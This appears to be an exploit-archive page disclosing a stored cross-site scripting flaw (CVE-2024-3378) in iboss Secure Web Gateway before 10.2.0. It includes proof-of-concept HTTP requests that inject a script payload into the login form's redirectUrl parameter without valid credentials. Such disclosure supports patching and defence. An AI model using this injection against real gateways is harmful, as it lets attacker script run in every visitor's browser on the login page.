exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

iboss Secure Web Gateway Cross Site Scripting

iboss Secure Web Gateway Cross Site Scripting
Posted May 9, 2024
Authored by modrnProph3t

iboss Secure Web Gateway versions prior to 10.2.0 suffer from a persistent cross site scripting vulnerability.

tags | exploit, web, xss
advisories | CVE-2024-3378
SHA-256 | 50b166bd6a6b50ebc0b7770cf33221a56eafab69e5b4987b101fcd6a8a6d1e49

iboss Secure Web Gateway Cross Site Scripting

Change Mirror Download
# Exploit Title: iboss Secure Web Gateway - Stored Cross-Site Scripting (XSS)
# Date: 4/4/2024
# Exploit Author: modrnProph3t
# Vendor Homepage: https://www.iboss.com
# Version: < 10.2.0
# CVE-2024-3378
# Reference: https://github.com/modrnProph3t/CVE/blob/main/CVE-2024-3378.md


## Description
A stored Cross Site Scripting (XSS) vulnerability was found in the iboss Secure Web Gateway product. The vulnerability is exploited by submitting a login attempt, intercepting the request, and adding a payload to the ÒredirectUrlÓ parameter before sending it to the server. After submitting the request, visiting the initial login page will cause the website to load, including the previously submitted payload.

This is an unauthenticated attack (credentials do not need to be valid) and the payload is stored on the server and included in every response to a GET request for the login page until a new POST request is made to the server without a payload included.

## Proof of Conept
1. Access the login portal located at /login


2. Submit login attempt and intercept the request

Example of unaltered request:
```
POST /user_login_submit HTTP/1.1
Host: <domain>
<--Headers Removed-->

userName=TEST&x=TEST&action=login&redirectUrl=
```


3. Insert XSS payload into the "redirectUrl" parameter

Example of request with inserted payload:
```
POST /user_login_submit HTTP/1.1
Host: <domain>
<--Headers Removed-->

userName=TEST&x=TEST&action=login&redirectUrl="><script>alert('XSS')</script>
```


4. After failed login attempt, return to the initial login page at the /login endpoint and observe payload execution

Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    18 Files
  • 14
    May 14th
    11 Files
  • 15
    May 15th
    17 Files
  • 16
    May 16th
    13 Files
  • 17
    May 17th
    22 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    17 Files
  • 21
    May 21st
    18 Files
  • 22
    May 22nd
    7 Files
  • 23
    May 23rd
    111 Files
  • 24
    May 24th
    27 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    6 Files
  • 28
    May 28th
    12 Files
  • 29
    May 29th
    31 Files
  • 30
    May 30th
    22 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close